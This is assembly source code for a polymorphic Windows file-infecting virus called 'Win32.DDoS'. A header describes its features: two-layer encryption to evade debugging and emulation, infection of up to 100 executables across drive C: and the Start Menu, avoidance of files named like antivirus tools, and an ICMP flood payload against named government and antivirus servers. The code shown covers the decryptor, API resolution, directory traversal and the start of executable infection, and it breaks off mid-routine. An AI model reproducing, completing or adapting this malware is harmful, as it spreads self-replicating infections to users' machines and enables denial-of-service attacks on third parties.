;
; ***************************************************************************
; -----------------[ Win32.DDoS by SnakeByte { KryptoCrew } ]----------------
; ***************************************************************************
;
;
;
; Please note that it is illegal to spread viruses, so if you compile this
; code, just test it on a closed system and don't place it in the wild !
; I am not responsible for your actions .. as always ;)
;
;
;
;
; This is the first Windows Virus I've written so far, and some parts are from
; Win32.Aztec by Billy Beleceb, because at the time i wrote this thing, not everything
; was clear in my mind, as it is now, hope I can present you some better things from me
; in the future.
;
; This is also my first polymorphic virus ever ;) so don't expect too much from the
; poly engine. I did not understand much of the code from other poly engines, but
; now, after coding one on my own, I do, so I maybe can code a better one the next time ;)
;
; The first layer is nearly completely polymorphic. I use junk opcodes like mov, add ...
; and try to keep track that they don't look completely useless. 
; I also use several ways to decrypt the virus ( xor, neg, not .. ) and
; several methods to do the loop. The size will always be in ECX and 
; the start in ESI, but i use several methods to put the values inside
; the registers so there is nothing static.
; The only static thing left is the call to the polymorphic decryptor ;(
;
;
; I was just able to test this thing on a Win95 PC, so I don't know if it will
; work on other systems, but I think it will. Two friends made some tests under
; NT and 2k with a beta, and it worked, so I hope this final version will also do.
;
;
; It tries to get the 4 following API's:
;
;   - Kernel32.dll       <- the only one we really need to work, the others are for fun 
;
;   - Imagehlp.dll       <- try to create a valid CRC for the PE-Header of infected files
;   - Advapi32.dll       <- get some data from the registry
;   - Winsck32.dll       <- Payload : Ping-flood a server
;
;
;
;
; What does this Virus do :
;
;   - 1.st Generation infects just the current directory ( easier to infect just some files *eg* )
;   - Get's API's with LoadLibraryA & GetProcAddress
;   - Tries to load ImageHlp.dll to create checksums with the CheckSumMappedFile Function
;   - Infects the current, the windows and the system directory and parses some 
;       random directory's on drive C:
;   - Follows LNK - Files ( does not work with NT / 2k )
;   - Removes and restores File-Attributes
;   - Parses Drive C:, enters a folder with a chance of 1 to 3
;   - Retrieves the Startmenue from registry and parses it ( follows LNK-Files there ) 
;   - If everything runs well it will infect 100 files all over the disk
;   - Generates a polymorph decryptor which will be used for all files infected in one run
;   - Uses 2 layers of decryption ( 1st is poly, 2nd is harder to debug / emulate )
;   - Does not infect files smaller than 40 kb
;   - Will not infect files with AV, AN or DR in the filename
;   - Payload is a icmp flood on one of these servers :
;
;      Sunday    = www.bundesnachrichtendienst.de
;      Monday    = French Secret Service ( dgse.citeweb.net )
;      Tuesday   = www.avp.com ( AV )
;      Wednesday = www.lockdown2000.com
;      Thursday  = www.f-secure.com 
;      Friday    = www.norton.com
;      Saturday  = www.zonelabs.com
;
; *#  Please note that i choose these servers because I think they can       #*
; *#  handle such an attack, if any idiot would release this into the wild.  #*
;
;
;
;
;
;
;         To make this code working use TASM 5.0 and pewrsec.
;   
;
;
;
;
;
;  Thanks and greetz fly to these people:
;
;    Billy Beleceb  -  Your Win32 VWG is just great ..
;                      ( you'll find some of your code [Win32.Aztec] here ;)
;    Evul           -  Thanks for hosting my site at coderz.net
;    Ciatrix        -  Hope you carry on your good work with VDAT !
;    SnakeMan       -  Hope you get more entrys *g* -->  http://altavirus.cjb.net
;    PhilippP       -  Thanks for the thrilling test in 2k .. ;)
;    BumbleBee      -  Still thinking of Sex ?
;    diediedie      -  Thnx for demotivating me... :)
;    asmodeus       -  nice beginner lesson in poly ;)
;    darkman        -  just believe me: the question was stupid ;)
;
;
;
;
;
; ***************************************************************************
; ---------------------------[ Here we start ]-------------------------------
; ***************************************************************************

.586p
.model flat
jumps                      ; Jumps get calculated
                           ; ( I know not good for optimizing.. )
.radix 16                  ; All numbers are Hexadecimal 
                           ; I once searched for a forgotten 'h'
                           ; 2 weeks until I found this bug.. :P

                           ; some API's
extrn ExitProcess:PROC     ; fake host for 1. Generation

extrn MessageBoxA:PROC     ; For testing purposes ( no longer needed )
                           ; but i needed it for error-detection *g*
                           ; 'cause I am too stupid to work with softice.. :(

.data                      ; fake data for TASM
 db ?                      ; otherwise TASM would not compile this
                           ; we store all our data in the code
                           ; section, that's why we need to use
                           ; pewrsec after compiling, to set the 
                           ; code section flags to write !

                           ; some constants I don't want to calculate on my own *g*
 VirusSize  equ (offset VirusEnd - offset Virus )
 CryptSize  equ (offset VirusEnd - offset CryptStart )
 NoCrypt    equ (offset CryptStart - offset Virus )
 FirstLSize equ (offset VirusEnd - offset FirstLayerStart )
 Buffersize equ (offset EndBufferData - offset VirusEnd )

 FILETIME                STRUC
 FT_dwLowDateTime        dd       ?
 FT_dwHighDateTime       dd       ?
 FILETIME                ENDS

.code

; ***************************************************************************
; -------------[ Delta Offset and searching for the Kernel Addy ]------------
; ***************************************************************************


Virus:                     ; Here we go

 call PDecrypt             ; call the poly decryption routine
                           ; which is located at the end of virus
                           ; just a simple 'ret' in the first generation

FirstLayerStart:           ; here starts the first layer
                           ; everything will be crypted from here on

 call Delta                ; let's get the delta - offset

Delta:
 mov ebp, offset Delta     ; I want to do this a bit different
 neg ebp                   ; than usual, who knows, maybe this
 pop eax                   ; fools some bad heuristics
 add ebp, eax

 or ebp, ebp               ; we don't need to decrypt the 1.
 jz CryptStart             ; Generation

                           ; save esp
 mov dword ptr [ebp+XESP], esp


 mov ecx, (CryptSize / 2)  ; the lenght of crypted part in words
 mov dx, word ptr [ebp+Key]
 lea esp, [ebp+CryptStart] ; set esp to the start of the decrypted part

DeCryptLoop:               ; let's decrypt the virus
 pop ax                    ; we pop the body word by word
 inc dx                    ; this method fucks with debuggers, who
 xchg dl, dh               ; trace with int 1h ( destroys stack )
 xchg al, ah
 xor ax, dx
 not ax
 push ax
 add esp, 2h
loop DeCryptLoop
                           ; restore esp
mov esp, dword ptr [ebp+XESP]

 jmp CryptStart            ; start virus

 Key      dw 0h            ; our key
 XESP     dd 0h            ; we save the esp here

 db 4 dup (90h)            ; some nop's so we will not jump into a instruction
                           ; ( happened sometimes during testing :( )
                           ; because of the prefech queue buffer ( or whatever this is spelled .. )
CryptStart:
                           ; we save these two values ( EIP & Imagebase )
                           ; to be able to return to the original host..
 mov eax, dword ptr [ebp+OldEIP]
 mov dword ptr [ebp+retEIP], eax
 mov eax, dword ptr [ebp+OldBase]
 mov dword ptr [ebp+retBas], eax

 mov eax, dword ptr fs:[0] ; save the original SEH
 mov dword ptr [ebp+SEH_Save], eax

 mov esi, [esp]            ; let's get the return address of the Create Process API
 xor si, si                ; round it to a full page

 push dword ptr [ebp+Error_ExecuteHost]
 mov fs:[0], esp           ; set new SEH

 call GetKernel            ; try to get it
 jnc GetApis               ; If got it we try to retrieve the API's

                           ; Otherwise, we try to check for
                           ; the kernel at some fixed addresses
                           ; But the way above should work most
                           ; of the times.. :)

 mov esi, 0BFF70000h       ; try the Win95 Kernel Addy
 call GetKernel
 jnc GetApis
 
 mov esi, 077F00000h       ; try the WinNT Kernel Addy
 call GetKernel
 jnc GetApis
 
 mov esi, 077e00000h       ; try the Win2k Kernel Addy
 call GetKernel
 jnc GetApis
                           ; if we still did not found the
 jmp Error_ExecuteHost     ; kernel we stop the virus
                           ; and execute the goat


; ***************************************************************************
; -------------------------[ let's get the API's ]---------------------------
; ***************************************************************************

 
                           ; These are the 2 API's we search in the Kernel
                           ; we need them to get all the others API's 
                           ; I prefer LoadLibraryA to GetModuleHandle, 
                           ; because it is no longer nessecairy, that the
                           ; file we infect loads the dll files we need,
                           ; we load them on our own,... ;)
                           ; This means, we can use almost any API we want to *eg*
                           ; LoadLibraryA also returns the Module-Handle, but
                           ; if it is not loaded it loads it ... bla.. ;P

 LL  db 'LoadLibraryA', 0h ; we need these API's for searching..
 GPA db 'GetProcAddress', 0h 

GetApis:                   ; Offset of the Kernel32.dll PE-Header is in EAX

 mov [ebp+KernelAddy], eax ; Save it 
 mov [ebp+MZAddy], ebx

 lea edx, [ebp+LL]         ; Points to name of the LoadLibaryA - API
 mov ecx, 0Ch              ; Lenght of Name
 call SearchAPI1           ; search it.. 
 mov [ebp+XLoadLibraryA], eax
                           ; Save the Addy

 xchg eax, ecx             ; If we didn't get this API or the other one, we quit !
 jecxz ExecuteHost         ; thnx to Billy  ;)
   
 lea edx, [ebp+GPA]        ; Points to name of the GetProcAddress - API
 mov ecx, 0Eh              ; Lenght of Name
 call SearchAPI1
 mov [ebp+XGetProcAddress], eax
                           ; Save the Addy

 xchg eax, ecx             ; check if we failed
 jecxz ExecuteHost         ; ( thnx again, nice way of optimization *g* )

                           ; Now we have our 2 nessecairy API's
 jmp GetAPI2               ; and are able to get the others 
                           ; Yes I know this jmp is not very optimizing.. ;)
                           ; But storing the data here helps me understanding
                           ; my code *bg* 

                           ; this dll is delivered with every version
 KERNEL32  db 'Kernel32',0 ; of windows, so we will get it always ( ..most likely *g* )
                           ; the virus relies on it

 IMAGEHLP  db 'Imagehlp',0 ; this dll is not nessecairily needed, but dll's will
                           ; only get infected, if we are able to use the CheckSumMappedFile
                           ; Function from this dll to create a checksum
                           ; it is delivered with win9x, NT and several compilers.

 ADVAPI    db 'advapi32',0 ; this dll is neccessairy to retrieve the startmenue folder
                           ; from registry, so we are able to follow the shortcuts there

 WSOCK     db 'wsock32.dll',0
                           ; we need this one here to perform a ping
                           ; ( not needed for the virus, but the payload )

GetAPI2:                   ; We get them, by grabbing the handles of
                           ; different DLL's first and use GetProcAddress
                           ; to locate the API's itself

                           ; Let's get the Handles by calling
                           ; the LoadLibrary API.. :)
                           ; if we fail to get the
                           ; Kernel32, we execute the 
                           ; original host

 lea eax, [ebp+KERNEL32]
 push eax
 call dword ptr [ebp+XLoadLibraryA]
 mov [ebp+K32Handle], eax
 test eax, eax
 jz ExecuteHost

 lea eax, [ebp+IMAGEHLP]
 push eax
 call dword ptr [ebp+XLoadLibraryA]
 mov [ebp+IHLHandle], eax

 lea eax, [ebp+ADVAPI]
 push eax
 call dword ptr [ebp+XLoadLibraryA]
 mov [ebp+ADVHandle], eax

 lea eax, [ebp+WSOCK]
 push eax
 call dword ptr [ebp+XLoadLibraryA]
 mov [ebp+W32Handle], eax


 lea esi, [ebp+Kernel32Names]
 lea edi, [ebp+XFindFirstFileA]
 mov ebx, [ebp+K32Handle]
 push NumberOfKernel32APIS
 pop ecx
 call GetAPI3

 lea esi, [ebp+ImageHLPNames]
 lea edi, [ebp+XCheckSumMappedFile]
 mov ebx, [ebp+IHLHandle]
 xor ecx, ecx
 inc ecx
 call GetAPI3

 lea esi, [ebp+ADVAPI32Names]
 lea edi, [ebp+XRegOpenKeyExA]
 mov ebx, [ebp+ADVHandle]
 push 3d
 pop ecx
 call GetAPI3


 lea esi, [ebp+WSOCK32Names]
 lea edi, [ebp+Xsocket]
 mov ebx, [ebp+W32Handle]
 push 3d
 pop ecx
 call GetAPI3


; ***************************************************************************
; ------------------[ Outbreak ! Here we start infecting ]-------------------
; ***************************************************************************

                           ; Now we got everything we need to
                           ; start infecting some files *eg*
                           ; First of all we retrieve the
                           ; foldernames of the current folder,
                           ; the system folder, and the windows folder
                           ; these are the folders we start to infect
 lea edi, [ebp+curdir]
 push edi
 push 7Fh
 call dword ptr [ebp+XGetCurrentDirectoryA]


 call genPoly              ; before we infect anything, we
                           ; create a poly decryptor used for
                           ; all files we infect = slow poly !

 mov [ebp+InfCounter], 10d ; Number of files we want to infect !
 call InfectCurDir         ; first of all we infect the current directory

 or ebp, ebp               ; if this is the first generation, we infect just
 jz ExecuteHost            ; the first directory ( makes it easier to infect
                           ; just some files .. *g*
                           ; we also don't start the payload !

 push 7Fh                  ; buffer - size
                           ; 7fh = 127d = max lenght of Directory name
 lea edi, [ebp+windir]     ; Pointer to the offset where we save the directory
 push edi               
 call dword ptr [ebp+XGetWindowsDirectoryA]

 lea edi, [ebp+windir]     ; then we infect the windows directory
 push edi
 call dword ptr [ebp+XSetCurrentDirectoryA]
 mov [ebp+InfCounter], 10d
 call InfectCurDir

                           ; we save both directory's in the same buffer
 push 7Fh                  ; so we save 127 Bytes of the Buffersize
 lea edi, [ebp+windir]
 push edi
 call dword ptr [ebp+XGetSystemDirectoryA]

 lea edi, [ebp+windir]     ; and the system directory ..
 push edi
 call dword ptr [ebp+XSetCurrentDirectoryA]
 mov [ebp+InfCounter], 10d
 call InfectCurDir

                           ; if everything went fine, we have
                           ; infected now up to 30 files !
                           ; Is this enough ?
                           ; ( please note that this is a rhetorical question *g* )
                           ; We want more !


; ***************************************************************************
; -----------------------[ Parse Directory's ]-------------------------------
; ***************************************************************************

InitParsing:

 mov [ebp+InfCounter], 30d ; let's parse some directorys for
                           ; 30 more files !

 lea edi, [ebp+RootDir]
 call dword ptr [ebp+XSetCurrentDirectoryA]
 call ParseFolder

                           ; if we are not able to access the registry we
                           ; infect another 20 Files in the System-Directory

 cmp dword ptr [ebp+XRegOpenKeyExA], 0h
 je InfectWinDirAgain
 call GetStartMenue        ; last but not least, we try to parse the
                           ; start-menue folder ( follow the LNK's )
                           ; to get 20 more files
                           ; with some luck, we infect 100 files each run
                           ; all over the HD *g* 
                           ; I think this can be called successfull spreading *g*
 lea edi, [ebp+windir]
 call dword ptr [ebp+XSetCurrentDirectoryA]

InfectWinDirAgain:
 mov [ebp+InfCounter], 20d
 call ParseFolder          ; let's parse the startmenue and follow all
                           ; LNK-Files inside ;)

 jmp PayLoad               ; start the evil part of this thingie ..


ParseFolder:
 call InfectCurDir         ; infect the current directory
 cmp [ebp+InfCounter],0
 jbe EndParsing            ; we infected enough ? ok, leave !

 lea esi, [ebp+Folders] 
 Call FindFirstFileProc
 inc eax
 jz EndParsing             ; If there are no directorys we return
 dec eax                   ; otherwise we save the handle 

GetOtherDir:
                           ; first of all we check if this
                           ; is a valid directory
 mov eax, dword ptr [ebp+WFD_dwFileAttributes]
 and eax, 10h              ; if not we get the next 
 jz NoThisOne              ; one

 lea esi, [ebp+WFD_szFileName]
 cmp byte ptr [esi], '.'   ; we will not parse into . or ..
 je NoThisOne              ; directorys

 push 03h
 pop ecx
 call GetRand

 dec edx                   ; if division-rest (edx) = 1
 jz ParseNewDir            ; we get this directory

NoThisOne:

 call FindNextFileProc

 test eax, eax
 jnz GetOtherDir

EndParseDir2:              ; we close the search - Handle 

 mov eax, dword ptr [ebp+FindHandle]
 push eax
 call dword ptr [ebp+XFindClose]

EndParsing:                ; we just return
 ret

ParseNewDir:               ; we got a direcory, let's change to it
                           ; and infect it.. *eg*
 mov eax, dword ptr [ebp+FindHandle]
 push eax
 call dword ptr [ebp+XFindClose]

 lea esi, [ebp+WFD_szFileName]
 push esi
 call dword ptr [ebp+XSetCurrentDirectoryA]


jmp ParseFolder

; ***************************************************************************
; -----------------[ Let's get the Startmenue folder ]-----------------------
; ***************************************************************************


GetStartMenue:             ; Let's try to open HKEY_USERS registry Key

 lea esi, [ebp+RegHandle]
 push esi
 push 001F0000h            ; complete access
 push 0h                   ; reserved
 lea esi, [ebp+SubKey]
 push esi
 push 80000003h            ; HKEY_USERS
 call dword ptr [ebp+XRegOpenKeyExA]

 test eax, eax             ; if we failed opening the key, we return
 jnz NoStartMenue

                           ; let's get the value
 lea esi, [ebp+BufferSize]
 push esi
 lea esi, [ebp+windir]
 push esi
 lea esi, [ebp+ValueType]
 push esi                  ; Type of Value
 push 0                    ; reserved
 lea esi, [ebp+Value]
 push esi                  ; ValueName
 mov eax, [ebp+RegHandle]
 push eax                  ; Reg-Key Handle
 call dword ptr [ebp+XRegQueryValueExA] 

 mov eax, dword ptr [ebp+RegHandle]
 push eax
 call dword ptr [ebp+XRegCloseKey]

NoStartMenue:

ret

SubKey     db '.Default\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders',0
Value      db 'Start Menu',0
ValueType  dd 0h           ; Type of registry Value
BufferSize dd 7Fh          ; size of buffer

; ***************************************************************************
; ----------------[ API - Tables and some other data ]-----------------------
; ***************************************************************************

                           ; Misc Data .. ;)
 Folders db '*.',0         ; search for directory's
 RootDir db 'C:\',0        ; we want to start parsing at root of Drive C:

                           ; Here follow the tables of the api's we use
                           ; for our virus, if you want to know what they
                           ; do exactly simply check the Win32
                           ; Programmer's Reference
                           ; I won't explain them ( I think the names of them
                           ; makes it clear enough *g* )

Kernel32Names:             ; 17d API's we want from Kernel32.dll

 NumberOfKernel32APIS equ 17d

 db 'FindFirstFileA', 0
 db 'FindNextFileA', 0
 db 'FindClose', 0
 db 'CreateFileA', 0
 db 'SetFileAttributesA', 0
 db 'CloseHandle', 0
 db 'CreateFileMappingA', 0
 db 'MapViewOfFile', 0
 db 'UnmapViewOfFile', 0
 db 'GetWindowsDirectoryA', 0
 db 'GetSystemDirectoryA', 0
 db 'GetCurrentDirectoryA', 0
 db 'SetCurrentDirectoryA', 0
 db 'GetFileAttributesA', 0
 db 'GetTickCount', 0
 db 'CreateThread',0
 db 'GetSystemTime',0

ImageHLPNames:
 db 'CheckSumMappedFile', 0h

ADVAPI32Names:
 db 'RegOpenKeyExA',0
 db 'RegQueryValueExA',0
 db 'RegCloseKey',0

WSOCK32Names:
 db 'socket',0
 db 'WSACleanup',0
 db 'WSAStartup',0
 db 'closesocket',0
 db 'sendto',0
 db 'setsockopt',0

; ***************************************************************************
; --------------[ Retrieve API's with GetProcAddress ]-----------------------
; ***************************************************************************

                           ; esi points to the Table of Names
                           ; edi to the offsets
                           ; ebx contains the module-handle
                           ; ecx the number of API's
GetAPI3:
 push ecx                  ; save ecx

 push esi                  ; push api-name 
 push ebx                  ; Push Module-Handle
                           ; call GetProcAddress

 call dword ptr [ebp+XGetProcAddress]
 stosd                     ; store api-offset 

 pop ecx                   ; did we get them all ?
 dec ecx
 jz EndApi3                ; if yes then return

 push ecx                  ; otherwise move esi to next API-Name

SearchZero:                ; we search for the end of the current
 cmp byte ptr [esi], 0h
 je GotZero                ; api name ( always 0h ) and increase
 inc esi
 jmp SearchZero
 
GotZero:
 inc esi
 pop ecx                   ; get ecx ( counter )

 jmp GetAPI3               ; retrieve Next API

 EndApi3: 
 ret 

 
; ***************************************************************************
; --------------[ Search Kernel Export Table for API's ]---------------------
; ***************************************************************************


SearchAPI1:                ; In this procedure we search for the first 2 API's
                           ; clear the counter
 and word ptr [ebp+counter], 0h
 
 mov eax, [ebp+KernelAddy] ; Load the PE-Header Offset

 mov esi, [eax+78h]        ; Get Export Table Address
 add esi, [ebp+MZAddy]     ; normalize RVA
 add esi, 1Ch              ; skip not needed data
                           ; now we gave the Address Table RVA-Offset in esi
 
 lodsd                     ; Get Address Table RVA
 add eax, [ebp+MZAddy]     ; convert to VA and save it
 mov dword ptr [ebp+ATableVA], eax

 lodsd                     ; Get Name Pointer Table RVA
 add eax, [ebp+MZAddy]     ; make it VA and save it
 mov dword ptr [ebp+NTableVA], eax
 
 lodsd                     ; Get Ordinal Table RVA
 add eax, [ebp+MZAddy]     ; guess what ? *g*
 mov dword ptr [ebp+OTableVA], eax

 mov esi, [ebp+NTableVA]   ; Get the Name Pointer Table Addy in esi


SearchNextApi1:
 push esi                  ; Save Pointer Table
 lodsd
 add eax, [ebp+MZAddy]     ; make it VA

 mov esi, eax              ; API Name in the Kernel Export API
 mov edi, edx              ; API we are looking for
 push ecx                  ; save the size

 cld                       ; Clear direction Flag
 rep cmpsb                 ; Compare it
 pop ecx
 jz FoundApi1              ; Are they equal ?

 pop esi                   ; Get the Pointer Table
 add esi, 4h               ; Set Pointer to the next api
 inc word ptr [ebp+counter] 
 cmp word ptr [ebp+counter], 2000h
 je NotFoundApi1
 jmp SearchNextApi1        ; test next API
 
FoundApi1:
 pop esi                   ; clear stack ( we don't want buffer overflows 
                           ; ok, we want them, but not here *bg* )

 movzx eax, word ptr [ebp+counter]
 shl eax, 1h               ; multiply eax with 2
                           ; Make eax Point to the right entry inside the
                           ; Ordinal Table
 add eax, dword ptr [ebp+OTableVA]
 xor esi, esi              ; clear esi
 xchg eax, esi             ; make esi point to the entry
 lodsw                     ; get Ordinal in AX
 shl eax, 2h               ; eax * 4
 add eax, dword ptr [ebp+ATableVA]
 mov esi, eax              ; esi points to the address RVA
 lodsd                     ; eax = address RVA
 add eax, [ebp+MZAddy]     ; Make it VA

 ret                       ; Return with API-Addy in eax
 
NotFoundApi1:
 xor eax, eax              ; We didn't find the API we need :(
 ret                       ; We set EAX to 0 to show we have to
                           ; return to the host..

; ***************************************************************************
; -------------------[ Execute the original Program ]------------------------
; ***************************************************************************



ExecuteHost:               ; Here we execute the original program

 lea edi, [ebp+curdir]     ; we return to the original directory..
 push edi
 call dword ptr [ebp+XSetCurrentDirectoryA]

 or ebp, ebp               ; if this is a virus of the first generation
 jz FirstGenHost           ; we can't return to a host, so we
                           ; stop this with ExitProcess..
Error_ExecuteHost:
 mov eax, dword ptr [ebp+SEH_Save]
 push eax
 mov fs:[0], esp


 mov eax,12345678h         ; here we return to
 org $-4                   ; the old entry point
 retEIP dd 0h              ; of the infected file

 add eax,12345678h
 org $-4
 retBas dd 0h

 jmp eax


FirstGenHost:
 push 0h                   ; Stop executing this stuff ( first Generation
 call ExitProcess          ; only )


 OldEIP  dd 0h             ; Old Entry Point
 OldBase dd 0h             ; Old Imagebase

 NewEIP  dd 0h             ; New Entry Point ( points to our virus.. )

; ***************************************************************************
; ----------------[ We try to find the Kernel Address ]----------------------
; ***************************************************************************

GetKernel:                 ; Here we try to retrieve the Kernel
                           ; set search range
 mov byte ptr [ebp+K32Trys], 5h

GK1:
 cmp byte ptr [ebp+K32Trys], 00h
 jz NoKernel               ; Did we pass our limit of 50 pages ?

 call CheckMZSign          ; Has this Page a DOS EXE-Header ?
 jnc CheckPE

GK2:
 sub esi, 10000h           ; Get the next page
 dec byte ptr [ebp+K32Trys]
 jmp GK1                   ; Check it

CheckPE:                   ; Let's check if we really found
 mov edi, [esi+3Ch]        ; the Kernel32.dll PE-Header
 add edi, esi
 call CheckPESign          ; check for PE-Sign

 jnc CheckDLL              ; check for the DLL-Flag
 jmp GK2

CheckDLL:
 add edi, 16h              ; check for the Dll-Flag 
 mov bx, word ptr [edi]    ; get characteristics
 and bx, 0F000h            ; we need just the Dll-Flag
 cmp bx, 02000h
 jne GK2                   ; if it is no dll go on searching
 
KernelFound:               ; we found the Kernel32.dll
 sub edi, 16h              ; set edi to the PE - Header
 xchg eax, edi             ; save PE address in eax
 xchg ebx, esi             ; save MZ address in ebx
 cld
 ret

NoKernel:                  ; if not found we don't set the carriage flag
 stc
 ret                       ; return if not found


 K32Trys      db 5h        ; Search-Range


; ***************************************************************************
; -----------------[ Infection of the current directory ]--------------------
; ***************************************************************************


InfectCurDir:              ; Here we infect the files in the current directory
                           ; we use the FindFirstFile - FindNextFile API's
                           ; to scan all files for PE-Executables and
                           ; LNK-Files.
 lea esi, [ebp+filemask]
 call FindFirstFileProc

 inc eax
 jz EndInfectCurDir1       ; If there are no files, we return
 dec eax

InfectCurDirFile:
                           ; filename in esi
 lea esi, [ebp+WFD_szFileName]
 call InfectFile           ; Try to infect it !
 
 cmp [ebp+InfCounter], 0h  ; if we infected enough files
 jna EndInfectCurDir2      ; we return

 call FindNextFileProc

 test eax, eax
 jnz InfectCurDirFile
 
EndInfectCurDir2:          ; we close the search - Handle 

 push dword ptr [ebp+FindHandle]
 call dword ptr [ebp+XFindClose]

EndInfectCurDir1:          ; we just return
 ret


 InfCounter db 0h          ; Counter for the number of files we infect
                           ; at max in the current directory
                           ; ( could take too long if we want to infect them
                           ; all )

 FindHandle dd 0h          ; The handle for the FindFirstFile API

 filemask   db '*.*', 0    ; we search for all files, not just exe files

                           ; these structures are nessecairy
                           ; for the FindFileFirst - FindFileNext API's

; ***************************************************************************
; ---------------------[ Prepare infection of file  ]------------------------
; ***************************************************************************

InfectFile:                ; Here we prepare to infect the file 
                           ; the filename is in [ebp+WFD_szFileName]
                           ; we open it and check if it is something
                           ; we are able to infect...
                           ; esi points to the filename..

 cmp byte ptr [esi], '.'   ; check if we got .. or .
 je NoInfection
                           ; if the file is smaller than
                           ; 200 Bytes it will not get checked or
                           ; infected !

 cmp dword ptr [ebp+WFD_nFileSizeLow], 200d
 jbe NoInfection
                           ; we also don't infect it if it is too big
 cmp dword ptr [ebp+WFD_nFileSizeHigh], 0
 jne NoInfection

 call CheckFileName        ; check for AV-Files
 jc NoInfection

                           ; Get File-Attributes
 lea eax, [ebp+WFD_szFileName]
 push eax
 call dword ptr [ebp+XGetFileAttributesA]
                           ; save them
 mov dword ptr [ebp+Attributes], eax

 inc eax
 jz NoInfection            ; if we failed we don't infect
 dec eax

 push 80h                  ; clean attributes
 lea eax, [ebp+WFD_szFileName]
 push eax
 call dword ptr [ebp+XSetFileAttributesA]
 or eax, eax               ; if we fail, we don't open the file
 jz NoInfection            ; if we have no access to set the attributes,
                           ; we will surely not be allowed to change the file itself

 call OpenFile             ; open the file
 jc NoInfection            ; if we failed we don't infect..

 mov esi, eax
 call CheckMZSign          ; if it is an EXE file, we go on
 jc CheckLNK               ; otherwise we test if it is a LNK

 cmp word ptr [eax+3Ch], 0h
 je CheckLNK

 xor esi, esi              ; get the start of the PE-Header
 mov esi, [eax+3Ch]
                           ; if it lies outside the file we skip it
 cmp dword ptr [ebp+WFD_nFileSizeLow], esi
 jb Notagoodfile

 add esi, eax

 mov edi, esi
 call CheckPESign          ; check if it is an PE-Executable
 jc Notagoodfile
                           ; check infection mark --> DDoS
                           ; if it is there the file is already infected..

 cmp dword ptr [esi+4Ch], 'SoDD'
 jz Notagoodfile

 mov bx, word ptr [esi+16h]; get characteristics
 and bx, 0F000h            ; we need just the Dll-Flag
 cmp bx, 02000h
 je Notagoodfile           ; we will not infect dll-files

 mov bx, word ptr [esi+16h]; get characteristics again
 and bx, 00002h            ; we check if it is no OBJ or something else..
 cmp bx, 00002h
 jne Notagoodfile         

 call InfectEXE            ; ok, infect it !
                           ; if there occoured an error
                           ; while mapping the file again,
                           ; we don't need to unmap & close it
 jc NoInfection
 jmp Notagoodfile

CheckLNK:                  ; check if we got an LNK-File
 mov esi, dword ptr [ebp+MapAddress]
 cmp word ptr [esi], 'L'   ; check for sign
 jne UnMapFile             ; if it is no LNK File we close it

 call InfectLNK

Notagoodfile:
 call UnMapFile            ; we store the file..
                           ; we restore the file-attributes

 push dword ptr [ebp+Attributes]
 lea eax, [ebp+WFD_szFileName]
 push eax
 call dword ptr [ebp+XSetFileAttributesA]
 
NoInfection:
 ret


; ***************************************************************************
; ------------------------[ Open and close Files ]---------------------------
; ***************************************************************************

OpenFile:

 xor eax,eax               ; let's open the file 
 push eax
 push eax
 push 3h
 push eax
 inc eax
 push eax
 push 80000000h or 40000000h
 push esi                  ; name of file
 call dword ptr [ebp+XCreateFileA]

 inc eax
 jz Closed                 ; if there is an error we don't infect the file
 dec eax                   ; now the handle is in eax
                           ; we save it 

 mov dword ptr [ebp+FileHandle],eax

                           ; if we map a file normal, we map it with the size
                           ; in the Find32-Data 
                           ; otherwise it is in ecx
 mov ecx, dword ptr [ebp+WFD_nFileSizeLow]

CreateMap: 
 push ecx                  ; save the size

 xor eax,eax               ; we create a map of the file to
 push eax                  ; be able to edit it
 push ecx
 push eax
 push 00000004h
 push eax
 push dword ptr [ebp+FileHandle]
 call dword ptr [ebp+XCreateFileMappingA]

 mov dword ptr [ebp+MapHandle],eax

 pop ecx                   ; get the size again.. 
 test eax, eax             ; if there is an error we close the file
 jz CloseFile              ; no infection today :(

 xor eax,eax               ; we map the file.. *bla*
 push ecx
 push eax
 push eax
 push 2h
 push dword ptr [ebp+MapHandle]
 call dword ptr [ebp+XMapViewOfFile]

 or eax,eax                ; if there is an error, we unmap it
 jz UnMapFile
                           ; eax contains the offset where
                           ; our file is mapped.. *g*

 mov dword ptr [ebp+MapAddress],eax
                           ; Clear c-flag for successful opening
 clc

 ret                       ; we successfully opened it !

UnMapFile:                 ; ok, unmap it

 call UnMapFile2

CloseFile:                 ; let's close it

 push dword ptr [ebp+FileHandle]
 call [ebp+XCloseHandle]

Closed:
 stc                       ; set carriage flag
 
 ret

UnMapFile2:                ; we need to unmap it some times, to
                           ; map it again with more space..

 push dword ptr [ebp+MapAddress]
 call dword ptr [ebp+XUnmapViewOfFile]

 push dword ptr [ebp+MapHandle]
 call dword ptr [ebp+XCloseHandle]

 ret

  
; ***************************************************************************
; -------------------------[ Infect an EXE-FILE ]----------------------------
; ***************************************************************************

InfectEXE:                 ; MapAddress contains the starting offset of the file

                           ; we will not infect exe files, which are smaller than
                           ; 40 Kb, this is for avoiding goat files.
                           ; AV's use them to study viruses !

 cmp dword ptr [ebp+WFD_nFileSizeLow] , 0A000h
 jb NoEXE

 mov ecx, [esi+3Ch]        ; esi points to the PE-Header
                           ; ecx contains file-alignment
                           ; put size in eax

 mov eax, dword ptr [ebp+WFD_nFileSizeLow] 
 add eax, dword ptr [ebp+VirLen]
 
 call Align                ; align it and save the new size
 mov dword ptr [ebp+NewSize], eax
 xchg ecx, eax

 pushad                    ; save registers
                           ; we close the file and map it again,
                           ; but this time we will load it
                           ; with some more space, so we can add
                           ; our code *eg*
 call UnMapFile2
 popad

 call CreateMap            ; we map it again with a bigger size
                           ; if we got an error we return
 jc NoEXE
                           ; make esi point to the PE-Header again
                           ; get offset
 mov esi, dword ptr [eax+3Ch]
                           ; make it VA
 add esi, eax
 mov edi, esi              ; edi = esi
                           ; eax = number of sections
 movzx eax, word ptr [edi+06h]
 dec eax
 imul eax, eax, 28h        ; multiply with size of section header
 add esi, eax              ; make it VA
 add esi, 78h              ; make it point to dir table
                           ; esi points now to the dir-table

 mov edx, [edi+74h]        ; get number of dir - entrys
 shl edx, 3h               ; multiply with 8
 add esi, edx              ; make point to the last section

                           ; get the Entry Point and save it
                           ; we need it to be able to return
                           ; to the original file

 mov eax, [edi+28h]
 mov dword ptr [ebp+OldEIP], eax

                           ; get the imagebase, also needed to
                           ; execute original file
 mov eax, [edi+34h]
 mov dword ptr [ebp+OldBase], eax

 mov edx, [esi+10h]        ; size of raw data
                           ; we will increase it later
 mov ebx, edx
